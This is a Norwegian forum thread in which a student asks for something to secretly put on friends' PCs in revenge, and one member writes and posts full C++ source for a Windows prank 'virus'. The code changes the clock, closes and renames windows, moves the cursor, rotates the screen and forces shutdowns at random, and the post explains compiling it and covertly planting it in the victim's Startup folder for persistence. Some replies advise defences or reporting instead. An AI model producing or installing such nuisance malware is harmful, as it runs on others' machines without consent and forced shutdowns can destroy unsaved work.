Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  19 4522
Hei, det ser ut til at det har utviklet seg en slags kald krig mellom meg og vennene mine. Det det går ut på er att venne har lagd noe faenskap på minnepenner som de truer med å putte inn i pcen min. Skulle gjerne hatt noe å ta igjen med, og uten videre god teknisk kompetanse trenger jeg litt hjelp.
Jeg ser etter noe som er jævlig irriterende å få bort, uten at det er ulovlig på noen måte. Er det noen som har noe å dele? Hadde håpet det var noe jeg kunne putte på en minnepinne for så å legge over til PCene deres hvis de skulle angripe først. Selvfølgelig må det være mulig å ta bort, sånn at jeg ikke ødelegger pcen, men som nevnt, jævlig irriterende.
Takker for alle svar!
Jeg har ingen tips til hva du kan gjøre med minnepennen, men hva med å sende en "glitterbombe"?
Sitat av caperno Vis innlegg
Jeg har ingen tips til hva du kan gjøre med minnepennen, men hva med å sende en "glitterbombe"?
Vis hele sitatet...
Har nå vurdert det men kom fram til at det ikke ville stoppe dem fra å sette noe på pcen min.
Men takk for svar
Det må da være mulig å disable samtlige usb porter og bare ha en innvendig i PCen, så bare du kan enable de hvis de trengs.
For å lykkes med en slik hoax, hvis man kan kalle det en hoax og ikke er målrettet ondsinnet angrep. Så må man ha litt grunnleggende «fingerprinting» informasjon. Spørsmål som vil være relevante er:
  • Hvilken operativ system kjører dem? Versjon?
  • Hvilken system oppdateringer er installert på målets maskin?
  • Hvilken type tjenester kjøres på maskinen?
  • Når er tjeneste oppdatert? Og hvilken oppdateringer er installert?
  • Hvilken programvare er installert? Og når er dem oppdatert?

Så kan du gå over på neste steg i angrepet, dette går ut på research og skanning. Her gjelder det å finne ut hvilken type sikkerhetshull som eksisterer i systemet. Og hvis du finner et sikkerhetshull som passer deg, og som lar deg plante en hoax kode på USB enheten som auto kjører, i det skjulte når USBen plugges i. Eller finner sikkerhetshull i programvaren som f.eks video avspilleren, slik at du kan kode hoaxen som en video fil og legge på USB pennen så er du i mål.

Men hvis det ikke eksisterer et slik hull på systemet til målet, så må du ty til «Social engineering», ved enten å utforme programvaren slik at den virker som en autentisk troverdig programvare, eller ved å mentalt overtale offeret til å kjøre den, selv om den ser tvilsom ut.

Uansett hvilken vei du velger å gå frem, så er det en ting som er felles. Du må få kjørt koden på offerets maskin.
Sist endret av 0xFF; 17. desember 2015 kl. 21:55.
Sitat av 0xFF Vis innlegg
For å lykkes med en slik hoax, hvis man kan kalle det en hoax og ikke er målrettet ondsinnet angrep. Så må man ha litt grunnleggende «fingerprinting» informasjon. Spørsmål som vil være relevante er:
  • Hvilken operativ system kjører dem? Versjon?
  • Hvilken system oppdateringer er installert på målets maskin?
  • Hvilken type tjenester kjøres på maskinen?
  • Når er tjeneste oppdatert? Og hvilken oppdateringer er installert?
  • Hvilken programvare er installert? Og når er dem oppdatert?

Så kan du gå over på neste steg i angrepet, dette går ut på research og skanning. Her gjelder det å finne ut hvilken type sikkerhetshull som eksisterer i systemet. Og hvis du finner et sikkerhetshull som passer deg, og som lar deg plante en hoax kode på USB enheten som auto kjører, i det skjulte når USBen plugges i. Eller finner sikkerhetshull i programvaren som f.eks video avspilleren, slik at du kan kode hoaxen som en video fil og legge på USB pennen så er du i mål.

Men hvis det ikke eksisterer et slik hull på systemet til målet, så må du ty til «Social engineering», ved enten å utforme programvaren slik at den virker som en autentisk troverdig programvare, eller ved å mentalt overtale offeret til å kjøre den, selv om den ser tvilsom ut.

Uansett hvilken vei du velger å gå frem, så er det en ting som er felles. Du må få kjørt koden på offerets maskin.
Vis hele sitatet...
Jeg er mulighet til å plassere minnepennen i pcen og skaffe ca 5 min til å installere filer hvis det hjelper litt. Jeg vet at pcen kjører Windows 7 men vet ikke hvilken oppdatering. Pcen har ingen virusprogrammer, men Windows defender elle hva det heter er aktiv. Når det gjelder programvare vet jeg ikke helt hva du tenker på?
Sitat av Berre_ein_fyr Vis innlegg
Jeg er mulighet til å plassere minnepennen i pcen og skaffe ca 5 min til å installere filer hvis det hjelper litt. Jeg vet at pcen kjører Windows 7 men vet ikke hvilken oppdatering. Pcen har ingen virusprogrammer, men Windows defender elle hva det heter er aktiv. Når det gjelder programvare vet jeg ikke helt hva du tenker på?
Vis hele sitatet...
Hvis du har mulighet for å kjøre koden på offerets PC uten at han vet det, så er du jo i mål. 5 minutter er mer enn nok, som oftest så holder det med at du setter i USB enheten og dobbel klikker på den kjørbare filen. Og siden offerets PC ikke har anti-virus programvare installert, så er det heller ingen behov for å «skjule» hoaxen.

Da er det bare å finne et passende hoax kode. Og jeg seg nå etter å ha lest første posten din engang til, at det er akkurat det du spør etter. Jeg var nok litt rask første gangen jeg leste posten din.

Jeg har mange gode forslag til hoax koder. Og kan lage en uskyldig med irriterende kode til deg i kveld.
er det ikke en mulighet å bare stoppe vennene dine fra å sette USB-pinnen inn i maskinen din? burde jo ikke være så vanskelig det. altså å unngå å ha de i nærheten av pc'en din og hvis de skulle prøve så kan du jo bare dytte de unna?
Sitat av paragone Vis innlegg
er det ikke en mulighet å bare stoppe vennene dine fra å sette USB-pinnen inn i maskinen din? burde jo ikke være så vanskelig det. altså å unngå å ha de i nærheten av pc'en din og hvis de skulle prøve så kan du jo bare dytte de unna?
Vis hele sitatet...
Joda kan prøve, problemet er ett pcen ligger i sekken på skolen noen ganger, og da kan jeg ikke gjøre noe.
Sitat av Berre_ein_fyr Vis innlegg
Joda kan prøve, problemet er ett pcen ligger i sekken på skolen noen ganger, og da kan jeg ikke gjøre noe.
Vis hele sitatet...
5 måter å sku av/på USB-porter
Sist endret av Lanjelin; 18. desember 2015 kl. 21:16.
Sitat av 0xFF Vis innlegg
Jeg har mange gode forslag til hoax koder. Og kan lage en uskyldig med irriterende kode til deg i kveld.
Vis hele sitatet...
Dette blir «virus» i 90-talls style!

Det ble litt knappere med tid i kveld enn planlagt, i tillegg til at mine WinAPI kunnskaper var litt mer rusten enn jeg forventet. Men jeg har startet på prosjektet, og ferdigstilt funksjonalitetene som «fucker» med hans maskin.
Jeg skal skrive resten av koden i morgen.

Ferdigstilt features:
  • Bytter dato og tid på datamaskinen. Tiden blir generert tilfeldig.
  • Endrer bakgrunnsbildet på skrivebordet.
  • Lukker det aktive vinduet.
  • Bytter vindu tittelen på det aktive vinduet til «Er du sikker på at ingen står bak deg?», «Kanskje noen følger med på deg!?», «Har du sett under bordet?»..o.l.
  • Maksimerer det aktive vinduet.
  • Minimerer det aktive vinduet.
  • Slår av skjermen
  • Flytter musepekeren rundt på skjermen i 6 minutter, med 10 sekunders intervaller. Plasseringen av pekeren er tilfeldig.
  • Slår på skjermbeskytteren.

Tanken er at «viruset» trigger en feature hvert 10'ende minutt. «Viruset» velger ut hvilken feature den skal trigge tilfeldig. I tillegg vil det bli lagt inn en «start delay» på 1 time, slik at ting begynner ikke å skje før det har gått 1 time fra maskinen er startet.

WindowsHoax.h

Kode

#include <cstdlib>
#include <ctime>
#include <string>
#include <vector>
#include <Windows.h>

class WindowsHoax
{
        public:
                static void changeClock ( );
                static void changeWallpaper ( );
                static void closeForegroundWindow ( );
                static void changeForegroundWindowText ( );
                static void maximizeWindow ( );
                static void minimizeWindow ( );
                static void monitorOff ( );
                static void moveCursorPosition ( );
                static void screenSaver ( );
};
WindowsHoax.cpp

Kode

#include "WindowsHoax.h"

void WindowsHoax::changeClock ( )
{
	SYSTEMTIME		systemTime;

	std::srand ( std::time ( 0x00 ));

	systemTime.wYear	= ( std::rand ( ) % 80 ) + 1970;
	systemTime.wMonth	= ( std::rand ( ) % 12 ) + 1;
	systemTime.wDay		= ( std::rand ( ) % 30 ) + 1;
	systemTime.wHour	= ( std::rand ( ) % 24 ) + 1;
	systemTime.wMinute	= ( std::rand ( ) % 60 ) + 1;
	systemTime.wSecond	= ( std::rand ( ) % 60 ) + 1;

	SetSystemTime ( &systemTime );
}

void WindowsHoax::changeWallpaper ( )
{
	int			currentIndex;
	char 			* currentWallpaper;
	std::vector<std::string> wallpapers;

	wallpapers.push_back ( "" );

	std::srand ( std::time ( 0x00 ));

	currentIndex 	 = ( std::rand ( ) % wallpapers.size ( )) - 0x01;
	currentWallpaper = new char [ wallpapers.at ( currentIndex ).length ( ) + 1 ];

	strcpy ( currentWallpaper, wallpapers.at ( currentIndex ).c_str ( ));
	SystemParametersInfo ( SPI_SETDESKWALLPAPER, 0x00, currentWallpaper, SPIF_UPDATEINIFILE );

	delete [ ] currentWallpaper;
}

void WindowsHoax::closeForegroundWindow ( )
{
	HWND foregroundWindow = GetForegroundWindow ( );;

	if ( foregroundWindow != NULL )
	{
		PostMessage ( foregroundWindow, WM_CLOSE, 0x00, 0x00 );
	}
}

void WindowsHoax::changeForegroundWindowText ( )
{
	HWND 			foregroundWindow;
	int			currentIndex;
	std::string		currentText;
	std::vector<std::string>windowTexts;

	windowTexts.push_back ( "Er du sikker på at ingen står bak deg?" );
	windowTexts.push_back ( "Kanskje noen følger med på deg!?" );
	windowTexts.push_back ( "Har du sett under bordet?" );

	std::srand ( std::time ( 0x00 ));

	foregroundWindow	= GetForegroundWindow ( );
	currentIndex		= ( std::rand ( ) % windowTexts.size ( )) - 0x01;
	currentText		= windowTexts.at ( currentIndex );

	if ( foregroundWindow != NULL )
	{
		SetWindowText ( foregroundWindow, currentText.c_str ( ));
	}
}

void WindowsHoax::maximizeWindow ( )
{
	HWND foregroundWindow = GetForegroundWindow ( );

	if ( foregroundWindow != NULL )
	{
		PostMessage ( foregroundWindow, WM_SYSCOMMAND, SC_MAXIMIZE, 0x00 );
	}
}

void WindowsHoax::minimizeWindow ( )
{
	HWND foregroundWindow = GetForegroundWindow ( );

	if ( foregroundWindow != NULL )
	{
		PostMessage ( foregroundWindow, WM_SYSCOMMAND, SC_MINIMIZE, 0x00 );
	}
}

void WindowsHoax::monitorOff ( )
{
	PostMessage ( HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, ( LPARAM ) 0x02 );
}

void WindowsHoax::moveCursorPosition ( )
{
	RECT	desktop;
	int 	cursorPosX;
	int 	cursorPosY;
	int 	monitorResolutionX;
	int 	monitorResolutionY;

	if ( GetWindowRect ( GetDesktopWindow ( ), &desktop ) != 0x00 )
	{
		std::srand ( std::time ( 0x00 ));

		monitorResolutionX = desktop.right;
		monitorResolutionY = desktop.bottom;

		for ( int c = 0x00; c < 36; c ++ )
		{
			cursorPosX = std::rand ( ) % monitorResolutionX;
			cursorPosY = std::rand ( ) % monitorResolutionY;

			SetCursorPos ( cursorPosX, cursorPosY );
			Sleep ( 10000 );
		}
	}

}

void WindowsHoax::screenSaver ( )
{
	PostMessage ( HWND_BROADCAST, WM_SYSCOMMAND, SC_SCREENSAVE, ( LPARAM ) 0x02 );
}
Hvis andre freaker har forslag til andre «features» som bør inkluderes i programvaren, så kom gjerne med forslag.
Sitat av 0xFF Vis innlegg
Hvis andre freaker har forslag til andre «features» som bør inkluderes i programvaren, så kom gjerne med forslag.
Vis hele sitatet...
Vet ikke om det er like aktuelt nå for tiden, men husker jeg hadde mye moro med å kjøre CD-romen ut og inn.

Andre ting som kan nevnes:
Snu bildet opp-ned etc. (samme opplegg som Ctrl+Alt+Piltast).
Starte tilfeldige programmer, paint, notepad, cmd
Lage flust av nye mapper på skrivebordet med random navn.
Åpne rare nettsteder i default browser.

Hvis du vil være virkelig slem, søke etter filer som feks. wow.exe, steam.exe, etc. og rename dem med en ekstra bindestrek.
Wow. Dette liker jeg! :P
Går det ann å spørre hva bakgrunnen blir skiftet til?
Sitat av Lanjelin Vis innlegg
Vet ikke om det er like aktuelt nå for tiden, men husker jeg hadde mye moro med å kjøre CD-romen ut og inn.
Vis hele sitatet...
Jeg tenkte samme tanken, men konkluderte med at det er så få PCer i dag som har CD/DVD-stasjon, at det ikke er verd å bruke ressurser på det.

Sitat av Lanjelin Vis innlegg
Andre ting som kan nevnes:
Snu bildet opp-ned etc. (samme opplegg som Ctrl+Alt+Piltast).
Starte tilfeldige programmer, paint, notepad, cmd
Lage flust av nye mapper på skrivebordet med random navn.
Åpne rare nettsteder i default browser.
Vis hele sitatet...
Ja, dette kan være mulig å få til. Må bare se hvor mye tid jeg har, å hvilken forslag som kommer her. Jeg skal prøve å implementere de beste forslagene.


Sitat av Lanjelin Vis innlegg
Hvis du vil være virkelig slem, søke etter filer som feks. wow.exe, steam.exe, etc. og rename dem med en ekstra bindestrek.
Vis hele sitatet...
Tror vi dropper å være slem, dette skal være en uskyldig kode, som er ekstremt irriterende over tid, og som skal være middels vanskelig å fjerne. Men som ikke gjør skade.

Sitat av Berre_ein_fyr Vis innlegg
Wow. Dette liker jeg! :P
Går det ann å spørre hva bakgrunnen blir skiftet til?
Vis hele sitatet...
Jeg har ennå ikkje bestemt hvilken bakgrunner jeg skal legge med, men tenkte jeg skulle gjøre noen google søk å finne noen «pene» bakgrunner.

Her er også mulig å legge til flere bakgrunner. Når bakgrunnen byttes, så velges bakgrunnen tilfeldig utfra en forhåndsdefinert liste.


OBS: Jeg ser nå at jeg har skrevet feil to plasser i koden, der de to indexene tildelt.

Kode

currentIndex	= ( std::rand ( ) % windowTexts.size ( )) - 0x01;
Og

Kode

currentIndex = ( std::rand ( ) %  wallpapers.size ( )) - 0x01;
Den siste subtraksjonen skal ikke være her. Dette blir rettet til morgendagens versjon.
Sist endret av 0xFF; 19. desember 2015 kl. 00:03.
Not a real gamer
retovio's Avatar
Bare jeg som tenkte på RJLPranks? http://rjlpranks.com/pranks/random_burper/
Sitat av Berre_ein_fyr Vis innlegg
Hei, det ser ut til at det har utviklet seg en slags kald krig mellom meg og vennene mine. Det det går ut på er att venne har lagd noe faenskap på minnepenner som de truer med å putte inn i pcen min. Skulle gjerne hatt noe å ta igjen med, og uten videre god teknisk kompetanse trenger jeg litt hjelp.
Jeg ser etter noe som er jævlig irriterende å få bort, uten at det er ulovlig på noen måte. Er det noen som har noe å dele? Hadde håpet det var noe jeg kunne putte på en minnepinne for så å legge over til PCene deres hvis de skulle angripe først. Selvfølgelig må det være mulig å ta bort, sånn at jeg ikke ødelegger pcen, men som nevnt, jævlig irriterende.
Takker for alle svar!
Vis hele sitatet...
Mitt tips er, at du skrur av "autostart" i Windows. Så låser du PCn, og bruker et solid passord. Du kan også skru av PCn, eller sette den i ventemodus.

Uansett så uten å komme inn i Windows, og det ikke er autostart der, så skulle du være ganske sikker.

Hvis du installerer noe slikt dritt på maskinen dems, så kan det bli mye bråk.
Sitat av amdb73 Vis innlegg
Mitt tips er, at du skrur av "autostart" i Windows. Så låser du PCn, og bruker et solid passord. Du kan også skru av PCn, eller sette den i ventemodus.
Vis hele sitatet...
Med mindre det er noe sånt som det her vennene hans har stelt i stand. -220V inn på datapinnene svir godt!
Sitat av Dyret Vis innlegg
Med mindre det er noe sånt som det her vennene hans har stelt i stand. -220V inn på datapinnene svir godt!
Vis hele sitatet...
Enig, at dette vil svi godt. Men hva kan en gjøre mot slike idiotstreker? Plugge igjen USB-portene med lim? Og fortsatt så er ladeporten åpen, for jeg har også vondt for å tro, at 230 V er bra der!..
Eller bare det, at noen kommer med en hammer?..

Men uansett så mener jeg, at det blir feil å legge dritt inn på andres maskiner. Da mener jeg det er bedre, å få dokumentert det de andre har gjort, og anmelde/melde ifra om dette.
Jeg fikk litt tid i kveld til å gjøre ferdig en «kjørbar» versjon. Litt improvisasjon behøves fortsatt fra «bruker».

Det er blitt lagt til noen nye features.

Blant annet:
  • Spiller av tilfeldige lyder
  • Roterer skjermen 180⁰
  • Slår av datamaskinen med «tvilsome» feilmeldinger som:
    • Windows 7 er nå forbudt! Terminering av systemet pågår
    • Det har oppstått problem med grønnoverledning. Avslutter systemet.
    • Vennligst sjekk at det er tilstrekkelig med olje i datamaskinen
    • o.l.

Dere må lage en mappe struktur en eller annen plass, med undermappene:

Kode

+- bin
+- images
+- include
+- sounds
+- src
  • bin-mappen kommer til å inneholde den kjørbare filen.
  • images-mappen skal bestå av bakgrunnsbildene.
  • include-mappen innholder header filene
  • sounds-mappen innholder kule/ekle/morsomme lyder
  • src-mappen

For å få kompilert koden, så må dere en C++ kompilator, laste ned MinGW. Dere finner den her: http://sourceforge.net/projects/ming...d?source=files

Lagre denne koden som «WindowsHoax.h» i include mappen:

Kode

#include <cstdlib>
#include <ctime>
#include <string>
#include <thread>
#include <vector>
#include <Windows.h>

class WindowsHoax
{
        public:
                static void changeClock ( );
                static void changeWallpaper ( );
                static void closeForegroundWindow ( );
                static void changeForegroundWindowText ( );
                static void maximizeWindow ( );
                static void minimizeWindow ( );
                static void monitorOff ( );
                static void moveCursorPosition ( );
                static void playSound ( );
                static void rotateScreen ( );
                static void screenSaver ( );
                static void shutdown ( );
};
Lagre denne koden som «WindowsHoax.cpp» i src mappen.

Kode

#include "WindowsHoax.h"

void WindowsHoax::changeClock ( )
{
	SYSTEMTIME		systemTime;

	std::srand ( std::time ( 0x00 ));

	systemTime.wYear	= ( std::rand ( ) % 80 ) + 1970;
	systemTime.wMonth	= ( std::rand ( ) % 12 ) + 1;
	systemTime.wDay		= ( std::rand ( ) % 30 ) + 1;
	systemTime.wHour	= ( std::rand ( ) % 24 ) + 1;
	systemTime.wMinute	= ( std::rand ( ) % 60 ) + 1;
	systemTime.wSecond	= ( std::rand ( ) % 60 ) + 1;

	SetSystemTime ( &systemTime );
}

void WindowsHoax::changeWallpaper ( )
{
	int			currentIndex;
	char 			* currentWallpaper;
	std::vector<std::string> wallpapers;

	wallpapers.push_back ( "background_01.jpg" );
	wallpapers.push_back ( "background_02.jpg" );

	std::srand ( std::time ( 0x00 ));

	currentIndex 	 = std::rand ( ) % wallpapers.size ( );
	currentWallpaper = new char [ wallpapers.at ( currentIndex ).length ( ) + 0x01 ];

	strcpy ( currentWallpaper, wallpapers.at ( currentIndex ).c_str ( ));
	SystemParametersInfo ( SPI_SETDESKWALLPAPER, 0x00, currentWallpaper, SPIF_UPDATEINIFILE );

	delete [ ] currentWallpaper;
}

void WindowsHoax::closeForegroundWindow ( )
{
	HWND foregroundWindow = GetForegroundWindow ( );;

	if ( foregroundWindow != NULL )
	{
		PostMessage ( foregroundWindow, WM_CLOSE, 0x00, 0x00 );
	}
}

void WindowsHoax::changeForegroundWindowText ( )
{
	HWND 			foregroundWindow;
	int			currentIndex;
	std::string		currentText;
	std::vector<std::string>windowTexts;

	windowTexts.push_back ( "Er du sikker på at ingen står bak deg?" );
	windowTexts.push_back ( "Kanskje noen følger med på deg!?" );
	windowTexts.push_back ( "Har du sett under bordet?" );

	std::srand ( std::time ( 0x00 ));

	foregroundWindow	= GetForegroundWindow ( );
	currentIndex		= std::rand ( ) % windowTexts.size ( );
	currentText		= windowTexts.at ( currentIndex );

	if ( foregroundWindow != NULL )
	{
		SetWindowText ( foregroundWindow, currentText.c_str ( ));
	}
}

void WindowsHoax::maximizeWindow ( )
{
	HWND foregroundWindow = GetForegroundWindow ( );

	if ( foregroundWindow != NULL )
	{
		PostMessage ( foregroundWindow, WM_SYSCOMMAND, SC_MAXIMIZE, 0x00 );
	}
}

void WindowsHoax::minimizeWindow ( )
{
	HWND foregroundWindow = GetForegroundWindow ( );

	if ( foregroundWindow != NULL )
	{
		PostMessage ( foregroundWindow, WM_SYSCOMMAND, SC_MINIMIZE, 0x00 );
	}
}

void WindowsHoax::monitorOff ( )
{
	PostMessage ( HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, ( LPARAM ) 0x02 );
}

void WindowsHoax::moveCursorPosition ( )
{
	RECT	desktop;
	int 	cursorPosX;
	int 	cursorPosY;
	int 	monitorResolutionX;
	int 	monitorResolutionY;

	if ( GetWindowRect ( GetDesktopWindow ( ), &desktop ) != 0x00 )
	{
		std::srand ( std::time ( 0x00 ));

		monitorResolutionX = desktop.right;
		monitorResolutionY = desktop.bottom;

		for ( int c = 0x00; c < 36; c ++ )
		{
			cursorPosX = std::rand ( ) % monitorResolutionX;
			cursorPosY = std::rand ( ) % monitorResolutionY;

			SetCursorPos ( cursorPosX, cursorPosY );
			std::this_thread::sleep_for ( std::chrono::seconds ( 10 ));
		}
	}

}

void WindowsHoax::playSound ( )
{
	int 			currentIndex;
	std::string		currentSound;
	std::vector<std::string>sounds;

	std::srand ( std::time ( 0x00 ));

	sounds.push_back ( "..\\sounds\\air_horn.wav" );
	sounds.push_back ( "..\\sounds\\angry_chipmunk.wav" );
	sounds.push_back ( "..\\sounds\\bike_horn.wav" );
	sounds.push_back ( "..\\sounds\\bomb_siren.wav" );
	sounds.push_back ( "..\\sounds\\chipmunks.wav" );
	sounds.push_back ( "..\\sounds\\hahaha.wav" );
	sounds.push_back ( "..\\sounds\\pig_snort.wav" );
	sounds.push_back ( "..\\sounds\\quack_quack.wav" );
	sounds.push_back ( "..\\sounds\\railroad_crossing_bell.wav" );
	sounds.push_back ( "..\\sounds\\silly_snoring.wav" );

	currentIndex	= std::rand ( ) % sounds.size ( );
	currentSound	= sounds.at ( currentIndex );

	PlaySound ( TEXT ( currentSound.c_str ( )), NULL, SND_FILENAME | SND_NODEFAULT | SND_ASYNC );
}

void WindowsHoax::rotateScreen ( )
{
	DEVMODE		deviceMode;

	deviceMode.dmSize		= sizeof ( DEVMODE );
	deviceMode.dmDriverExtra	= 0x00;

	EnumDisplaySettings ( NULL, ENUM_CURRENT_SETTINGS, &deviceMode );

	deviceMode.dmDisplayOrientation	= DMDO_180;

	ChangeDisplaySettings ( &deviceMode, 0x00 );
}

void WindowsHoax::screenSaver ( )
{
	PostMessage ( HWND_BROADCAST, WM_SYSCOMMAND, SC_SCREENSAVE, ( LPARAM ) 0x02 );
}

void WindowsHoax::shutdown ( )
{
	int			currentIndex;
	HANDLE			processToken;
	char *			shutdownMessage;
	std::vector<std::string>shutdownMessages;
	TOKEN_PRIVILEGES	tokenPtr;

	std::srand ( std::time ( 0x00 ));

	shutdownMessages.push_back ( "Windows 7 er nå forbudt! Terminering av systemet pågår" );
	shutdownMessages.push_back ( "Det har oppstått problem med grønnoverledning. Avslutter systemet." );
	shutdownMessages.push_back ( "Hva er galt med Windows?" );
	shutdownMessages.push_back ( "Vennligst sjekk at det er tilstrekkelig med olje i datamaskinen" );
	shutdownMessages.push_back ( "Du bør ringe Microsoft!" );
	shutdownMessages.push_back ( "Datamaskinen er har fått Klopp feber" );
	shutdownMessages.push_back ( "Datamaskinen er smittet av influensa, vennligst gi den hostesaft!" );


	currentIndex	= std::rand ( ) % shutdownMessages.size ( );
	shutdownMessage = new char [ shutdownMessages.at ( currentIndex ).length ( ) + 0x01 ];

	strcpy ( shutdownMessage, shutdownMessages.at ( currentIndex ).c_str ( ));

	if ( OpenProcessToken ( GetCurrentProcess ( ), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &processToken ))
	{
		LookupPrivilegeValue ( NULL, SE_SHUTDOWN_NAME, &tokenPtr.Privileges [ 0x00 ].Luid );

		tokenPtr.PrivilegeCount 		= 0x01;
		tokenPtr.Privileges [ 0 ].Attributes 	= SE_PRIVILEGE_ENABLED;

		AdjustTokenPrivileges ( processToken, 0x00, &tokenPtr, 0x00, ( PTOKEN_PRIVILEGES ) NULL, 0x00 );

		if ( GetLastError ( ) == ERROR_SUCCESS )
		{
			InitiateSystemShutdown ( NULL, shutdownMessage, 0x1E, 0x00, 0x00 );

			tokenPtr.Privileges [ 0x00 ].Attributes = 0x00;

			AdjustTokenPrivileges ( processToken, 0x00, &tokenPtr, 0x00, ( PTOKEN_PRIVILEGES ) NULL, 0x00 );
		}
	}

	delete [ ] shutdownMessage;
}
Lagre denne som «main.cpp» i src mappen.

Kode

#include "WindowsHoax.h"

int main ( int argc, char **argv )
{
	int			currentIndex;
	std::vector <void ( * )( )> 	hoaxMethods;

	void ( *currentMethod )( );

	std::srand ( std::time ( 0x00 ));

	hoaxMethods.push_back ( WindowsHoax::changeClock );
	hoaxMethods.push_back ( WindowsHoax::changeWallpaper );
	hoaxMethods.push_back ( WindowsHoax::closeForegroundWindow );
	hoaxMethods.push_back ( WindowsHoax::changeForegroundWindowText );
	hoaxMethods.push_back ( WindowsHoax::maximizeWindow );
	hoaxMethods.push_back ( WindowsHoax::minimizeWindow );
	hoaxMethods.push_back ( WindowsHoax::monitorOff );
	hoaxMethods.push_back ( WindowsHoax::moveCursorPosition );
	hoaxMethods.push_back ( WindowsHoax::playSound );
	hoaxMethods.push_back ( WindowsHoax::rotateScreen );
	hoaxMethods.push_back ( WindowsHoax::screenSaver );
	hoaxMethods.push_back ( WindowsHoax::shutdown );

	while ( 0x01 )
	{
		std::this_thread::sleep_for ( std::chrono::minutes ( 10 ));

		currentIndex  = std::rand ( ) % hoaxMethods.size ( );
		currentMethod = hoaxMethods.at ( currentIndex );

		currentMethod ( );
	}

	return EXIT_SUCCESS; 
}
Lagre denne som compile.bat i bunn mappen.

Kode

mkdir .\tmp

g++ -Wall -Werror -std=c++14 -I.\include -c .\src\WindowsHoax.cpp -o .\tmp\WindowsHoax.o
g++ -Wall -Werror -std=c++14 -I.\include -c .\src\main.cpp -o .\tmp\main.o
g++ .\tmp\WindowsHoax.o .\tmp\main.o -lwinmm -o .\bin\funny.exe

rmdir /S /Q .\tmp
images og sounds mappen må dere fylle opp selv. I sound mappen så må dere bruke *.wav filer, mens bakgrunnmappen kan bestå alle filtyper Windows godtar til bakgrunn.

Når dere har gjort det så må dere endre linje 25 til 26 i «WindowsHoax.cpp»:

Kode

wallpapers.push_back ( "..\\images\\background_01.jpg" );
wallpapers.push_back ( "..\\images\\background_02.jpg" );
Her endrer dere bare filnavnene. Hvis dere ønsker å legge til flere enn to, så står dere fritt opp til det.

Dere må også endre linje 132 til 141

Kode

sounds.push_back ( "..\\sounds\\air_horn.wav" );
sounds.push_back ( "..\\sounds\\angry_chipmunk.wav" );
sounds.push_back ( "..\\sounds\\bike_horn.wav" );
sounds.push_back ( "..\\sounds\\bomb_siren.wav" );
sounds.push_back ( "..\\sounds\\chipmunks.wav" );
sounds.push_back ( "..\\sounds\\hahaha.wav" );
sounds.push_back ( "..\\sounds\\pig_snort.wav" );
sounds.push_back ( "..\\sounds\\quack_quack.wav" );
sounds.push_back ( "..\\sounds\\railroad_crossing_bell.wav" );
sounds.push_back ( "..\\sounds\\silly_snoring.wav" );
Samme her som med linjene 25 og 26, endre filnavnet slik at peker til korrekt fil. Trenger dere flere, legg til flere linjer. Trenger dere ikke 10 lyder, så fjern tilsvarende linjer.

Når dere har gjort det, så åpner dere command prompt og flytter dere til riktig mappe. Kjør så compile.bat.

For å «infisere» offeret, så kopierer dere bin, images og sounds mappen til offerets datamaskin, f.eks til «Cwindows\WindowsHoax\». Så lagere dere en snarvei i «CProgramData\Microsoft\Windows\Start Menu\Programs\Startup» som peker til «Cwindows\WindowsHoax\bin\funny.exe, da vil programmet starte hver gang maskinen starter.

Hvis dere er i tvil, så kan det være lurt å prøve på egen maskin før dere prøver å infisere andre. Koden gjør ingen skade på software eller hardware.

Koden er langt i fra stabil eller optimal. Men jeg har manglende kunnskaper på WinAPI og jeg har ikke mer tid å bruk, jeg må bruke resterende tid frem til jul på studier. Mulig jeg kommer med en updated versjon på nyåret.

Fremtidig features:
  • Automatisk installasjon
  • Egen prosess som restarter funny.exe hvis den blir avsluttet.

I tillegg bør koden gjennomgåes, optimaliseres og stabiliseres.